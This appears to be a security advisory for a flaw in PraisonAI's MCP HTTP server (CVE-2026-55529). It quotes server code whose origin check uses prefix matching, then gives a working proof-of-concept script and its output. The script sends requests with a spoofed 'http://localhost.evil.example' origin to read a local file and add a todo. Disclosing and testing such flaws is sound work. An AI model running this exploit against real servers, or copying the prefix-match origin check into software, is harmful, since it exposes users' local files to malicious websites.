PraisonAI CVE-2026-55529

parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")

register_all()

server.run_http_stream(
    host=parsed.host,
    port=parsed.port,
    endpoint=parsed.endpoint,
    api_key=parsed.api_key,
    cors_origins=cors_origins,
    allowed_origins=allowed_origins,
    session_ttl=parsed.session_ttl,
    allow_client_termination=allow_termination,
    response_mode=parsed.response_mode,
    resumability_enabled=parsed.resumability,
)

if allowed_origins is None:
    if host in ("127.0.0.1", "localhost", "::1"):
        self.allowed_origins = [
            "http://localhost",
            "http://127.0.0.1",
            "https://localhost",
            "https://127.0.0.1",
        ]

for allowed in self.allowed_origins:
    if request_origin == allowed or request_origin.startswith(allowed):
        return True

if self.api_key:
    auth_header = request.headers.get("Authorization", "")
    if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
        return JSONResponse(
            {"error": "Unauthorized"},
            status_code=401,
        )

body = await request.json()
response = await self.server.handle_message(body)

tool_name = params.get("name")
arguments = params.get("arguments", {})

tool = self._tool_registry.get(tool_name)

if asyncio.iscoroutinefunction(tool.handler):
    result = await tool.handler(**arguments)
else:
    result = tool.handler(**arguments)

def _register_all():
    register_all_tools()
    register_extended_capability_tools()
    register_cli_tools()
    register_mcp_resources()
    register_mcp_prompts()

@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
    from praisonai.capabilities import file_create
    result = file_create(file=file_path, purpose=purpose)

file_obj = file
if isinstance(file, str):
    file_obj = open(file, 'rb')

response = litellm.create_file(**call_kwargs)

python3 poc_mcp_origin_bypass.py

import json
import os
import sys
import tempfile
import types
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")

def create_file(**kwargs):
    f = kwargs["file"]
    captured["filename"] = getattr(f, "name", "<bytes>")
    captured["content"] = f.read().decode("utf-8")

    class Resp:
        id = "file-safe-local-poc"
        object = "file"
        bytes = len(captured["content"])
        filename = captured["filename"]
        purpose = kwargs.get("purpose")
        status = "processed"

    return Resp()

fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm

from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer(name="praisonai-local-poc")
# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
    server=server,
    host="127.0.0.1",
    api_key=None,
    allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)

with tempfile.TemporaryDirectory() as td:
    os.environ["HOME"] = td

    marker = Path(td) / "safe-marker.txt"
    marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")

    file_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "praisonai.files.create",
            "arguments": {
                "file_path": str(marker),
                "purpose": "assistants",
            },
        },
    }
# Non-localhost malicious origin is blocked.
    blocked = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "https://evil.example",
            "Content-Type": "text/plain",
        },
    )
# Prefix-matching bypass: accepted because it starts with http://localhost.
    bypass = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_payload = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "praisonai.todo.add",
            "arguments": {
                "content": "SAFE_LOCAL_TODO_MARKER",
                "priority": "high",
            },
        },
    }

    todo = client.post(
        "/mcp",
        data=json.dumps(todo_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_file = Path(td) / ".praison" / "todo.json"

    print(json.dumps({
        "blocked_origin_status": blocked.status_code,
        "bypass_origin_status": bypass.status_code,
        "bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
        "captured_file_basename": Path(captured.get("filename", "")).name,
        "captured_file_content": captured.get("content"),
        "todo_status": todo.status_code,
        "todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
        "todo_file_exists": todo_file.exists(),
    }, indent=2))

{
  "blocked_origin_status": 403,
  "bypass_origin_status": 200,
  "bypass_response_text": "File created: file-safe-local-poc",
  "captured_file_basename": "safe-marker.txt",
  "captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
  "todo_status": 200,
  "todo_response_text": "Todo added: 0440613d",
  "todo_file_exists": true
}